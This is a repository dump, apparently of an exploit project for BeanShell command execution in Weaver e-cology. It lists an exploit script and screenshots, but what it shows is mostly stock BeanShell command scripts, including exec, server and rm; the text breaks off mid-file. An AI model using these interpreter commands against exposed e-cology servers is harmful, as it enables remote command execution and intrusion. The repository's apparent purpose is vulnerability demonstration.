├── cat.png ├── eval.png ├── exec.png ├── set.jpg ├── linux.jpg ├── linux2.png ├── weaver.war ├── whoami.jpg ├── commands ├── dir.class ├── pwd.bsh ├── bind.bsh ├── debug.bsh ├── setAccessibility.bsh ├── error.bsh ├── clear.bsh ├── mv.bsh ├── exit.bsh ├── pathToFile.bsh ├── show.bsh ├── object.bsh ├── getClassPath.bsh ├── setClassPath.bsh ├── getResource.bsh ├── exec.bsh ├── rm.bsh ├── unset.bsh ├── cd.bsh ├── server.bsh ├── cp.bsh ├── bg.bsh ├── getBshPrompt.bsh ├── importObject.bsh ├── getClass.bsh ├── setNameCompletion.bsh ├── sourceRelative.bsh ├── setFont.bsh ├── addClassPath.bsh ├── source.bsh ├── setStrictJava.bsh ├── cat.bsh ├── dirname.bsh ├── save.bsh ├── printBanner.bsh ├── setNameSpace.bsh ├── importCommands.bsh ├── extend.bsh ├── editor.bsh ├── getSourceFileInfo.bsh ├── browseClass.bsh ├── classBrowser.bsh ├── reloadClasses.bsh ├── which.bsh ├── frame.bsh ├── print.bsh ├── javap.bsh ├── eval.bsh ├── fontMenu.bsh ├── run.bsh ├── thinBorder.bsh ├── load.bsh ├── workspaceEditor.bsh ├── makeWorkspace.bsh └── desktop.bsh ├── bsh.py ├── test.java └── README.md /cat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/e-cology/HEAD/cat.png -------------------------------------------------------------------------------- /eval.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/e-cology/HEAD/eval.png -------------------------------------------------------------------------------- /exec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/e-cology/HEAD/exec.png -------------------------------------------------------------------------------- /set.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/e-cology/HEAD/set.jpg -------------------------------------------------------------------------------- /linux.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/e-cology/HEAD/linux.jpg -------------------------------------------------------------------------------- /linux2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/e-cology/HEAD/linux2.png -------------------------------------------------------------------------------- /weaver.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/e-cology/HEAD/weaver.war -------------------------------------------------------------------------------- /whoami.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/e-cology/HEAD/whoami.jpg -------------------------------------------------------------------------------- /commands/dir.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/e-cology/HEAD/commands/dir.class -------------------------------------------------------------------------------- /commands/pwd.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Print the BeanShell working directory. This is the cwd obeyed by all the 3 | unix-like bsh commands. 4 | */ 5 | pwd() { 6 | print( bsh.cwd ); 7 | } 8 | 9 | -------------------------------------------------------------------------------- /commands/bind.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Bind a bsh object into a particular namespace and interpreter 3 | */ 4 | import bsh.This; 5 | import bsh.NameSpace; 6 | 7 | bind( bsh.This ths, bsh.NameSpace namespace ) { 8 | This.bind( ths, namespace, this.interpreter ); 9 | } 10 | 11 | -------------------------------------------------------------------------------- /commands/debug.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Toggle on and off debug mode. 3 | Debug output is verbose and generally useful only for developers. 4 | */ 5 | 6 | bsh.help.debug = "usage: debug()"; 7 | 8 | debug() { 9 | this.interpreter.DEBUG = !this.interpreter.DEBUG; 10 | } 11 | -------------------------------------------------------------------------------- /commands/setAccessibility.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Setting accessibility on enables to private and other non-public 3 | fields and method. 4 | */ 5 | import bsh.Capabilities; 6 | 7 | setAccessibility( boolean b ) 8 | { 9 | Capabilities.setAccessibility(b); 10 | } 11 | 12 | -------------------------------------------------------------------------------- /commands/error.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Print the item as an error. 3 | In the GUI console the text will show up in (something like) red, 4 | else it will be printed to standard error. 5 | */ 6 | 7 | void error( item ) { 8 | this.interpreter.error( String.valueOf(item) ); 9 | } 10 | 11 | -------------------------------------------------------------------------------- /commands/clear.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Clear all variables, methods, and imports from this namespace. 3 | If this namespace is the root, it will be reset to the default 4 | imports. 5 | See NameSpace.clear(); 6 | @see NameSpace.clear(); 7 | */ 8 | clear() { 9 | this.caller.namespace.clear(); 10 | } 11 | -------------------------------------------------------------------------------- /commands/mv.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Rename a file (like Unix mv). 3 | */ 4 | 5 | bsh.help.mv = "usage: mv( fromFile, toFile )"; 6 | 7 | mv( String fromFile, String toFile ) 8 | { 9 | this.from = pathToFile( fromFile ); 10 | this.to = pathToFile( toFile ); 11 | from.renameTo( to ); 12 | } 13 | 14 | -------------------------------------------------------------------------------- /commands/exit.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Conditionally exit the virtual machine. 3 | Call System.exit(0) unless bsh.system.shutdownOnExit == false. 4 | */ 5 | 6 | bsh.help.exit = "usage: exit()"; 7 | 8 | exit() { 9 | // shutdown Java VM unless flagged 10 | if ( bsh.system.shutdownOnExit != false ) 11 | System.exit(0); 12 | } 13 | -------------------------------------------------------------------------------- /commands/pathToFile.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Create a File object corresponding to the specified file path name, taking 3 | into account the bsh current working directory (bsh.cwd) 4 | */ 5 | 6 | bsh.help.pathToFile = "usage: File pathToFile( String )"; 7 | 8 | File pathToFile( String filename ) { 9 | return this.interpreter.pathToFile( filename ); 10 | } 11 | -------------------------------------------------------------------------------- /commands/show.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Toggle on or off displaying the results of expressions (off by default). 3 | When show mode is on bsh will print() the value returned by each expression 4 | you type on the command line. 5 | */ 6 | 7 | bsh.help.show = "usage: show()"; 8 | 9 | show() { 10 | this.interpreter.setShowResults( !this.interpreter.getShowResults() ); 11 | } 12 | -------------------------------------------------------------------------------- /commands/object.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Return an "empty" BeanShell object context which can be used to hold 3 | data items. e.g. 4 |

5 |

 6 |     myStuff = object();
 7 |     myStuff.foo = 42;
 8 |     myStuff.bar = "blah";
 9 | 	
10 | 11 | @method This object() 12 | */ 13 | 14 | bsh.help.object = "usage: object()"; 15 | 16 | object() { 17 | return this; 18 | } 19 | 20 | -------------------------------------------------------------------------------- /commands/getClassPath.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Get the current classpath including all user path, extended path, and the 3 | bootstrap JAR file if possible. 4 | */ 5 | 6 | bsh.help.getClassPath= "usage: getClassPath()"; 7 | import bsh.BshClassManager; 8 | 9 | URL [] getClassPath() { 10 | this.cp = this.caller.namespace.getClassManager().getClassPath(); 11 | return cp.getPathComponents(); 12 | } 13 | 14 | -------------------------------------------------------------------------------- /commands/setClassPath.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Change the classpath to the specified array of directories and/or archives. 3 |

4 | See "Class Path Management" for details. 5 | 6 | @method void setClassPath( URL [] ) 7 | */ 8 | 9 | bsh.help.setClassPath= "usage: setClassPath( URL [] )"; 10 | 11 | void setClassPath( urls ) { 12 | this.caller.namespace.getClassManager().setClassPath( urls ); 13 | } 14 | 15 | -------------------------------------------------------------------------------- /commands/getResource.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Get a resource from the BeanShell classpath. 3 | This method takes into account modification to the BeanShell class path via 4 | addClassPath() and setClassPath(); 5 | */ 6 | 7 | bsh.help.getResource = "usage: getResource( String name )"; 8 | 9 | import bsh.Interpreter; 10 | 11 | URL getResource( String path ) 12 | { 13 | return this.interpreter.getClassManager().getResource( path ); 14 | } 15 | -------------------------------------------------------------------------------- /commands/exec.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Start an external application using the Java Runtime exec() method. 3 | Display any output to the standard BeanShell output using print(). 4 | */ 5 | 6 | bsh.help.exec = "usage: exec( String arg )"; 7 | 8 | exec( String arg ) 9 | { 10 | this.proc = Runtime.getRuntime().exec(arg); 11 | this.din = new DataInputStream( proc.getInputStream() ); 12 | while( (line=din.readLine()) != null ) 13 | print(line); 14 | } 15 | -------------------------------------------------------------------------------- /commands/rm.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Remove a file (like Unix rm). 3 | */ 4 | 5 | bsh.help.rm = "usage: cd( path )"; 6 | 7 | boolean rm( String pathname ) 8 | { 9 | this.file = pathToFile( pathname ); 10 | 11 | if ( file == null ) 12 | throw new java.io.FileNotFoundException("pathname"); 13 | 14 | if ( file.isDirectory() ) { 15 | print( pathname + "is a directory" ); 16 | return; 17 | } 18 | 19 | return file.delete(); 20 | } 21 | 22 | -------------------------------------------------------------------------------- /commands/unset.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | "Undefine" the variable specifed by 'name' (So that it tests == void). 3 |

4 | Note: there will be a better way to do this in the future. This is 5 | currently equivalent to doing namespace.setVariable(name, null); 6 | */ 7 | 8 | bsh.help.unset = "usage: unset( name )"; 9 | 10 | void unset( String name ) 11 | { 12 | if ( arg == null ) // ??? 13 | return; 14 | 15 | this.caller.namespace.unsetVariable( name ); 16 | } 17 | -------------------------------------------------------------------------------- /commands/cd.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Change working directory for dir(), etc. commands (like Unix cd) 3 | */ 4 | 5 | bsh.help.cd = "usage: cd( path )"; 6 | 7 | /* 8 | Additions by Kevin Raulerson, http://www.spin.com.mx/~kevinr/ 9 | */ 10 | void cd( String pathname ) 11 | { 12 | this.file = pathToFile( pathname ); 13 | 14 | if ( file.exists() && file.isDirectory() ) 15 | bsh.cwd = file.getCanonicalPath(); 16 | else 17 | print( "No such directory: "+pathname); 18 | } 19 | 20 | -------------------------------------------------------------------------------- /commands/server.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Create a remote BeanShell listener service attached to 3 | the current interpreter, listening on the specified port. 4 | */ 5 | import bsh.util.Httpd; 6 | import bsh.util.Sessiond; 7 | 8 | bsh.help.server = "usage: server(int port)"; 9 | 10 | void server(int port ) { 11 | new Thread( new Httpd( port ) ).start(); 12 | print("Httpd started on port: "+port); 13 | new Thread( new Sessiond( global.namespace, port+1 ) ).start(); 14 | print("Sessiond started on port: "+ (port+1)); 15 | } 16 | -------------------------------------------------------------------------------- /commands/cp.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Copy a file (like Unix cp). 3 | */ 4 | 5 | bsh.help.cp = "usage: cp( fromFile, toFile )"; 6 | 7 | cp( String fromFile, String toFile ) 8 | { 9 | this.from = pathToFile( fromFile ); 10 | this.to = pathToFile( toFile ); 11 | 12 | this.in = new BufferedInputStream( new FileInputStream( from ) ); 13 | this.out = new BufferedOutputStream( new FileOutputStream( to ) ); 14 | byte [] buff = new byte [ 32*1024 ]; 15 | while ( (len = in.read( buff )) > 0 ) 16 | out.write( buff, 0, len ); 17 | in.close(); 18 | out.close(); 19 | } 20 | 21 | -------------------------------------------------------------------------------- /commands/bg.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Source a command in its own thread in the caller's namespace 3 |

4 | 5 | This is like run() except that it runs the command in its own thread. 6 | Returns the Thread object control. 7 | @method Thread bg( String filename ) 8 | */ 9 | 10 | bsh.help.run= "usage: Thread bg( filename )"; 11 | 12 | Thread bg( String filename ) 13 | { 14 | this.callerNameSpace = this.caller.namespace; 15 | run() { 16 | this.interpreter.source( filename, callerNameSpace ); 17 | } 18 | 19 | this.thread = new Thread( this ); 20 | thread.start(); 21 | return thread; 22 | } 23 | -------------------------------------------------------------------------------- /commands/getBshPrompt.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Get the value to display for the bsh interactive prompt. 3 | This command checks for the variable bsh.prompt and uses it if set. 4 | else returns "bsh % " 5 |

6 | Remember that you can override bsh commands simply by defining the method 7 | in your namespace. e.g. the following method displays the current working 8 | directory in your prompt: 9 |

10 |

11 | 	String getBshPrompt() {
12 | 		return bsh.cwd + " % ";
13 | 	}
14 | 	
15 | */ 16 | 17 | String getBshPrompt() 18 | { 19 | if ( bsh != void && bsh.prompt != void ) 20 | return bsh.prompt; 21 | else 22 | return "bsh % "; 23 | } 24 | 25 | -------------------------------------------------------------------------------- /commands/importObject.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Import an instance object into this namespace 3 | (analogous to static class imports). 4 | You can import the methods and fields of a Java object instance into 5 | a BeanShell namespace. e.g. 6 | 7 |
 8 |         Map map = new HashMap();
 9 |         importObject( map );
10 |         put("foo", "bar");
11 |         print( get("foo") ); // "bar"
12 |     
13 | 14 | @method void importObject( Object object ) 15 | */ 16 | 17 | bsh.help.importObject = "usage: importObject( Object )"; 18 | 19 | importObject( Object object ) 20 | { 21 | this.caller.namespace.importObject( object ); 22 | } 23 | 24 | -------------------------------------------------------------------------------- /commands/getClass.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Get a class through the current namespace utilizing the current imports, 3 | extended classloader, etc. 4 |

5 | 6 | This is equivalent to the standard Class.forName() method for class loading, 7 | however it takes advantage of the BeanShell class manager so that added 8 | classpath will be taken into account. You can also use Class.forName(), 9 | however if you have modified the classpath or reloaded classes from within 10 | your script the modifications will only appear if you use the getClass() 11 | command. 12 | */ 13 | bsh.help.getClass= "usage: getClass( String name )"; 14 | 15 | Class getClass( String name ) { 16 | return this.caller.namespace.getClass( name ); 17 | } 18 | 19 | -------------------------------------------------------------------------------- /commands/setNameCompletion.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Allow users to turn off name completion. 3 |

4 | Turn name completion in the GUI console on or off. 5 | Name competion is on by default. Explicitly setting it to true however can 6 | be used to prompt bsh to read the classpath and provide immediate feedback. 7 | (Otherwise this may happen behind the scenes the first time name completion 8 | is attempted). Setting it to false will disable name completion. 9 | */ 10 | 11 | bsh.help.setNameCompletion= "usage: setNameCompletion( boolean )"; 12 | 13 | /** 14 | */ 15 | void setNameCompletion( boolean bool ) 16 | { 17 | if ( bool == false ) 18 | if ( bsh.console != void ) 19 | bsh.console.setNameCompletion( null ); 20 | } 21 | 22 | -------------------------------------------------------------------------------- /commands/sourceRelative.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Source a file relative to the callering script's directory. 3 |

4 | 5 | e.g. scripts A running in dir A sources script B in dir B. 6 | Script B can use this command to load additional scripts (data, etc.) 7 | relative to its own location (dir B) without having to explicitly know 8 | its "home" directory (B). 9 |

10 | Note: this only works for files currently. 11 | 12 | @since bsh1.3 13 | @see source( file | URL ); 14 | */ 15 | sourceRelative( String file ) 16 | { 17 | this.dir=dirname( getSourceFileInfo() ); 18 | this.path=pathToFile( dir + File.separator + file ) .getAbsolutePath(); 19 | return this.interpreter.source( path, this.caller.namespace ); 20 | } 21 | 22 | -------------------------------------------------------------------------------- /commands/setFont.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Change the point size of the font on the specified component, to ptsize. 3 | This is just a convenience for playing with GUI components. 4 | */ 5 | 6 | bsh.help.setFont = "usage: setFont( Component comp, int size )"; 7 | 8 | Font setFont(Component comp, String family, int style, int size) { 9 | 10 | this.font = comp.getFont(); 11 | 12 | this.family = (family==null) ? font.family : family; 13 | this.style = (style==-1) ? font.style : style; 14 | this.size = (size==-1) ? font.size : size; 15 | 16 | font = new Font(family, style, size); 17 | comp.setFont(font); 18 | comp.validate(); 19 | return font; 20 | } 21 | 22 | Font setFont(Component comp, int size) { 23 | return setFont(comp, null, -1, size); 24 | } 25 | 26 | -------------------------------------------------------------------------------- /commands/addClassPath.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Add the specified directory or JAR file to the class path. 3 | e.g. 4 |

5 |

 6 |     addClassPath( "/home/pat/java/classes" );
 7 |     addClassPath( "/home/pat/java/mystuff.jar" );
 8 |     addClassPath( new URL("http://myserver/~pat/somebeans.jar") );
 9 | 	
10 |

11 | See Class Path Management 12 | 13 | @method void addClassPath( string | URL ) 14 | */ 15 | 16 | bsh.help.addClassPath= "usage: addClassPath( string | URL )"; 17 | 18 | import java.net.URL; 19 | import bsh.BshClassManager; 20 | 21 | addClassPath( path ) { 22 | URL url; 23 | if ( path instanceof URL ) 24 | url = path; 25 | else 26 | url = pathToFile( path ).toURL(); 27 | 28 | this.caller.namespace.getClassManager().addClassPath( url ); 29 | } 30 | 31 | -------------------------------------------------------------------------------- /commands/source.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Read filename into the interpreter and evaluate it in the current 3 | namespace. Like the Bourne Shell "." command. 4 | This command acts exactly like the eval() command but reads from a file 5 | or URL source. 6 | @see eval() for more information. 7 | @throws bsh.EvalError or bsh.TargetError on errors in the sourced script. 8 | */ 9 | 10 | bsh.help.source = "usage: source( filename | URL )"; 11 | 12 | Object source( String filename ) { 13 | // source with filename preserves file name in error messages 14 | return this.interpreter.source( filename, this.caller.namespace ); 15 | } 16 | 17 | Object source( URL url ) { 18 | return this.interpreter.eval( 19 | new InputStreamReader(url.openStream()), this.caller.namespace, 20 | "URL: "+url.toString() 21 | ); 22 | } 23 | 24 | -------------------------------------------------------------------------------- /commands/setStrictJava.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Enable or disable "Strict Java Mode". 3 | When strict Java mode is enabled BeanShell will: 4 |

5 | 6 |

    7 |
  1. Require typed variable declarations, method arguments and return types. 8 |
  2. Modify the scoping of variables to look for the variable 9 | declaration first in the parent namespace, as in a java method inside 10 | a java class. e.g. if you can write a method called incrementFoo() that 11 | will do the expected thing without referring to "super.foo". 12 | 13 |

    14 | 15 | See "Strict Java Mode" for more details. 16 |

    17 | 18 | Note: Currently most standard BeanShell commands will not work in 19 | Strict Java mode simply because they have not been written with full 20 | types, etc. 21 | */ 22 | 23 | void setStrictJava( boolean val ) 24 | { 25 | this.interpreter.setStrictJava( val ); 26 | } 27 | 28 | -------------------------------------------------------------------------------- /commands/cat.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Print the contents of filename, url, or stream (like Unix cat) 3 | */ 4 | 5 | bsh.help.cat = "usage: cat( filename )"; 6 | 7 | /** 8 | cat comment 9 | */ 10 | cat( String filename ) 11 | { 12 | this.file = pathToFile( filename ); 13 | 14 | if ( !file.exists() || !file.canRead() ) { 15 | print( "Can't read " + file ); 16 | return; 17 | } 18 | 19 | cat( new FileReader( file ) ); 20 | } 21 | 22 | /** 23 | cat comment 24 | */ 25 | cat( URL url ) 26 | { 27 | cat( url.openStream() ); 28 | } 29 | 30 | cat( InputStream ins ) 31 | { 32 | this.bin = new BufferedReader( new InputStreamReader( ins ) ); 33 | cat( bin ); 34 | } 35 | 36 | cat( Reader reader ) 37 | { 38 | try { 39 | this.bin = new BufferedReader( reader ); 40 | while ( (this.line=bin.readLine() ) != null ) 41 | print( line ); 42 | } catch ( Exception e ) { 43 | print( "Error reading stream:"+ e); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /commands/dirname.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Return directory portion of path based on the system default file separator. 3 | Note: you should probably use pathToFile() to localize the path relative 4 | to BeanShell's working directory and then file.getAbsolutePath() to get 5 | back to a system localized string. 6 |

    7 | 8 | Example: to change to the directory that contains the script we're 9 | currently executing: 10 | 11 |

    12 | 	// Change to the directory containing this script
    13 | 	path=pathToFile( getSourceFileInfo() ).getAbsolutePath();
    14 | 	cd( dirname( path ) );
    15 | 	
    16 | */ 17 | 18 | bsh.help.cd = "usage: dirname( path )"; 19 | 20 | String dirname( String pathname ) 21 | { 22 | String dirName = "."; 23 | // Normalize '/' to local file separator before work. 24 | int i = pathname.replace('/', File.separatorChar ).lastIndexOf( 25 | File.separator ); 26 | if ( i != -1 ) 27 | dirName = pathname.substring(0, i); 28 | 29 | return dirName; 30 | } 31 | 32 | -------------------------------------------------------------------------------- /commands/save.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Save a serializable Java object to filename. 3 | */ 4 | 5 | bsh.help.save = "usage: save( object, filename )"; 6 | 7 | void save( Object obj, String filename ) 8 | { 9 | File file = pathToFile( filename ); 10 | 11 | if ( !(obj instanceof Serializable) ) { 12 | print("Type "+obj.getClass()+" is not serializable"); 13 | return; 14 | } 15 | 16 | // Detach bsh objects from the caller's namespace during serialization 17 | // NOTE: THIS IS NOT THREAD SAFE 18 | if ( obj instanceof bsh.This ) { 19 | super.parent = obj.namespace.getParent(); 20 | obj.namespace.prune(); 21 | } 22 | 23 | OutputStream out = new FileOutputStream( file ); 24 | ObjectOutputStream oout = new ObjectOutputStream(out); 25 | oout.writeObject( obj ); 26 | oout.close(); 27 | 28 | // Reattach bsh objects to the caller's namespace after serialization 29 | // NOTE: THIS IS NOT THREAD SAFE 30 | if ( obj instanceof bsh.This ) 31 | obj.namespace.setParent( super.parent ); 32 | } 33 | 34 | 35 | -------------------------------------------------------------------------------- /commands/printBanner.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Print the BeanShell banner (version and author line) - GUI or non GUI. 3 | 4 | @author Daniel Leuck 5 | */ 6 | 7 | import javax.swing.ImageIcon; 8 | import java.awt.*; 9 | import bsh.Interpreter; 10 | import bsh.Capabilities; 11 | import bsh.util.JConsole; 12 | 13 | /* 14 | Note: any errors thrown in here will be caught by interpreter and 15 | ignored... printing the default message. 16 | */ 17 | printBanner() 18 | { 19 | if ( bsh.console != void 20 | && Capabilities.haveSwing() 21 | && (bsh.console instanceof JConsole) ) 22 | { 23 | 24 | this.jconsole = bsh.console; 25 | jconsole.println( 26 | new ImageIcon( getResource("/bsh/util/lib/small_bean_shell.gif")) ); 27 | jconsole.print( 28 | Interpreter.VERSION + " - by Pat Niemeyer (pat@pat.net)", 29 | new Font("SansSerif", Font.BOLD, 12), 30 | new Color(20,100,20) ); 31 | jconsole.println(); 32 | 33 | } else 34 | print( "BeanShell " 35 | + Interpreter.VERSION +" - by Pat Niemeyer (pat@pat.net)"); 36 | 37 | } 38 | -------------------------------------------------------------------------------- /commands/setNameSpace.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Set the namespace (context) of the current scope. 3 |

    4 | 5 | The following example illustrates swapping the current namespace. 6 |

    7 | 8 |

     9 |     fooState = object(); 
    10 |     barState = object(); 
    11 |     
    12 |     print(this.namespace);
    13 |     setNameSpace(fooState.namespace);
    14 |     print(this.namespace);
    15 |     a=5;
    16 |     setNameSpace(barState.namespace);
    17 |     print(this.namespace);
    18 |     a=6;
    19 |     
    20 |     setNameSpace(fooState.namespace);
    21 |     print(this.namespace);
    22 |     print(a);  // 5
    23 |     
    24 |     setNameSpace(barState.namespace);
    25 |     print(this.namespace);
    26 |     print(a); // 6
    27 |     
    28 |

    29 | 30 | You could use this to creates the effect of a static namespace for a 31 | method by explicitly setting the namespace upon entry. 32 |

    33 | */ 34 | 35 | bsh.help.setNameSpace = 36 | "usage: setNameSpace( bsh.NameSpace )"; 37 | 38 | setNameSpace( ns ) 39 | { 40 | // Set the namespace at depth one (our caller) to the specified namespace. 41 | this.callstack.set( 1, ns ); 42 | } 43 | 44 | -------------------------------------------------------------------------------- /commands/importCommands.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Import scripted or compiled BeanShell commands in the following package 3 | in the classpath. You may use either "/" path or "." package notation. 4 | e.g. 5 |

     6 | 		// equivalent
     7 | 		importCommands("/bsh/commands")
     8 | 		importCommands("bsh.commands")
     9 | 	
    10 | 
    11 | 	When searching for a command each path will be checked for first, a file
    12 | 	named 'command'.bsh and second a class file named 'command'.class.
    13 | 	

    14 | 15 | You may add to the BeanShell classpath using the addClassPath() or 16 | setClassPath() commands and then import them as usual. 17 |

    18 | 		addClassPath("mycommands.jar");
    19 | 		importCommands("/mypackage/commands");
    20 | 	
    21 |

    22 | 23 | If a relative path style specifier is used then it is made into an absolute 24 | path by prepending "/". Later imports take precedence over earlier ones. 25 |

    26 | 27 | Imported commands are scoped just like imported clases. 28 |

    29 | 30 | @method void importCommands( resource path | package name ) 31 | */ 32 | 33 | bsh.help.importCommands = "usage: importCommands( string )"; 34 | 35 | importCommands( path ) 36 | { 37 | this.caller.namespace.importCommands( path ); 38 | } 39 | 40 | -------------------------------------------------------------------------------- /commands/extend.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Return a new object that is a child of the specified object. 3 | 4 | Note: this command will likely change along with a better inheritance 5 | mechanism for bsh in a future release. 6 |

    7 | 8 | extend() is like the object() command, which 9 | creates a new bsh scripted object, except that the namespace of 10 | the new object is a child of the parent object. 11 |

    12 | 13 | For example: 14 |

    15 | 16 |

    17 |     foo=object();
    18 |     bar=extend(foo);
    19 | 
    20 |     is equivalent to:
    21 |       
    22 |     foo() { 
    23 |         bar() {
    24 |             return this; 
    25 |         }
    26 |     }
    27 | 
    28 |     foo=foo();
    29 |     bar=foo.bar();
    30 | 
    31 |     and also:
    32 |      
    33 |     oo=object();
    34 |     ar=object();
    35 |     ar.namespace.bind( foo.namespace );
    36 |     
    37 |

    38 | 39 | The last example above is exactly what the extend() command does. 40 | In each case the bar object inherits variables from foo in the usual way. 41 | 42 | @method This extend( This object ) 43 | */ 44 | bsh.help.extend= "usage: extend( This parent )"; 45 | extend( bsh.This parent ) 46 | { 47 | this.namespace.setParent( parent.namespace ); 48 | return this; 49 | } 50 | 51 | -------------------------------------------------------------------------------- /commands/editor.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Open a GUI editor from the command line or in the GUI desktop mode. 3 | When run from the command line the editor is a simple standalone 4 | frame. When run inside the GUI desktop it is a workspace editor. 5 | See workspaceEditor() 6 | */ 7 | 8 | bsh.help.editor = "usage: editor()"; 9 | import java.awt.*; 10 | 11 | editor() 12 | { 13 | if ( bsh.system.desktop != void ) { 14 | return workspaceEditor( this.interpreter ); 15 | } 16 | 17 | this.ta = new TextArea(15,40); 18 | this.frame = new Frame("Editor"); 19 | frame.add(ta, "Center"); 20 | 21 | this.p = new Panel(); 22 | this.b = new Button("Eval"); 23 | b.addActionListener(this); 24 | p.add(b); 25 | b = new Button("Clear"); 26 | b.addActionListener(this); 27 | p.add(b); 28 | b = new Button("Close"); 29 | b.addActionListener(this); 30 | p.add(b); 31 | 32 | frame.add(p, "South"); 33 | frame.pack(); 34 | frame.show(); 35 | 36 | actionPerformed(e) 37 | { 38 | if ( e.getActionCommand().equals("Close") ) 39 | frame.dispose(); 40 | else if ( e.getActionCommand().equals("Clear") ) 41 | ta.setText(""); 42 | else 43 | this.interpreter.eval( ta.getText() ); 44 | } 45 | 46 | print("Editor started..."); 47 | return frame; 48 | } 49 | 50 | -------------------------------------------------------------------------------- /commands/getSourceFileInfo.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Return the name of the file or source from which the current interpreter 3 | is reading. Note that if you use this within a method, the result will 4 | not be the file from which the method was sourced, but will be the file 5 | that the caller of the method is reading. Methods are sourced once but 6 | can be called many times... Each time the interpreter may be associated 7 | with a different file and it is that calling interpreter that you are 8 | asking for information. 9 |

    10 | 11 | Note: although it may seems like this command would always return the 12 | getSourceFileInfo.bsh file, it does not since it is being executed after 13 | sourcing by the caller's interpreter. 14 | If one wanted to know the file from which a bsh method was sourced one 15 | would have to either capture that info when the file was sourced (by 16 | saving the state of the getSourceFileInfo() in a variable outside of 17 | the method or more generally we could add the info to the BshMethod class 18 | so that bsh methods remember from what source they were created... 19 | */ 20 | 21 | bsh.help.getSourceFileInfo = "usage: getSourceFileInfo()"; 22 | 23 | import bsh.Interpreter; 24 | 25 | getSourceFileInfo() { 26 | return this.interpreter.getSourceFileInfo(); 27 | } 28 | -------------------------------------------------------------------------------- /commands/browseClass.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Open the class browser to view the specified class. 3 | If the argument is a string it is considered to be a class name. 4 | If the argument is an object, the class of the object is used. 5 | If the arg is a class, the class is used. 6 |

    7 | 8 | Note: To browse the String class you can't supply a String. 9 | You'd have to do: browseClass( String.class ); 10 |

    11 | 12 | 13 | @method void browseClass( String | Object | Class ) 14 | */ 15 | import bsh.ClassIdentifier; 16 | 17 | browseClass( Object o ) 18 | { 19 | String classname; 20 | if ( o instanceof String) 21 | classname = o; 22 | else if ( o instanceof ClassIdentifier ) 23 | classname = this.namespace.identifierToClass(o).getName(); 24 | else if ( o instanceof Class ) 25 | classname = o.getName(); 26 | else 27 | classname = o.getClass().getName(); 28 | 29 | // really need a way to unset and more poweful testing... 30 | if ( bsh.system.desktop == void 31 | || bsh.system.desktop.classbrowser == void 32 | || bsh.system.desktop.classbrowser == null ) 33 | { 34 | this.browser = classBrowser(); 35 | } else { 36 | this.browser = bsh.system.desktop.classbrowser; 37 | bsh.system.desktop.classbrowser.toFront(); 38 | } 39 | 40 | browser.driveToClass( classname ); 41 | } 42 | 43 | -------------------------------------------------------------------------------- /commands/classBrowser.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Open the class browser. 3 | */ 4 | import bsh.util.ClassBrowser; 5 | 6 | classBrowser() 7 | { 8 | this.inDesktop = ( bsh.system.desktop != void ); 9 | 10 | this.browser = new ClassBrowser( this.interpreter.getClassManager() ); 11 | browser.init(); 12 | 13 | if ( inDesktop ) { 14 | this.frame = 15 | bsh.system.desktop.makeInternalFrame("BeanShell Class Browser"); 16 | frame.frameIcon = bsh.system.icons.eye; 17 | bsh.system.desktop.classbrowser = browser; 18 | } else { 19 | this.frame = new javax.swing.JFrame("BeanShell Class Browser"); 20 | frame.iconImage=bsh.system.icons.eye.image; 21 | } 22 | 23 | // Ignore unhandled method invocations from listeners. 24 | invoke( name, args ) { 25 | if ( !name.startsWith("internalFrame") ) 26 | throw new Error("method: "+name); 27 | } 28 | internalFrameClosing( e ) { 29 | // really need foo=void;... 30 | bsh.system.desktop.classbrowser = null; 31 | } 32 | 33 | if ( inDesktop ) 34 | frame.addInternalFrameListener(this); 35 | 36 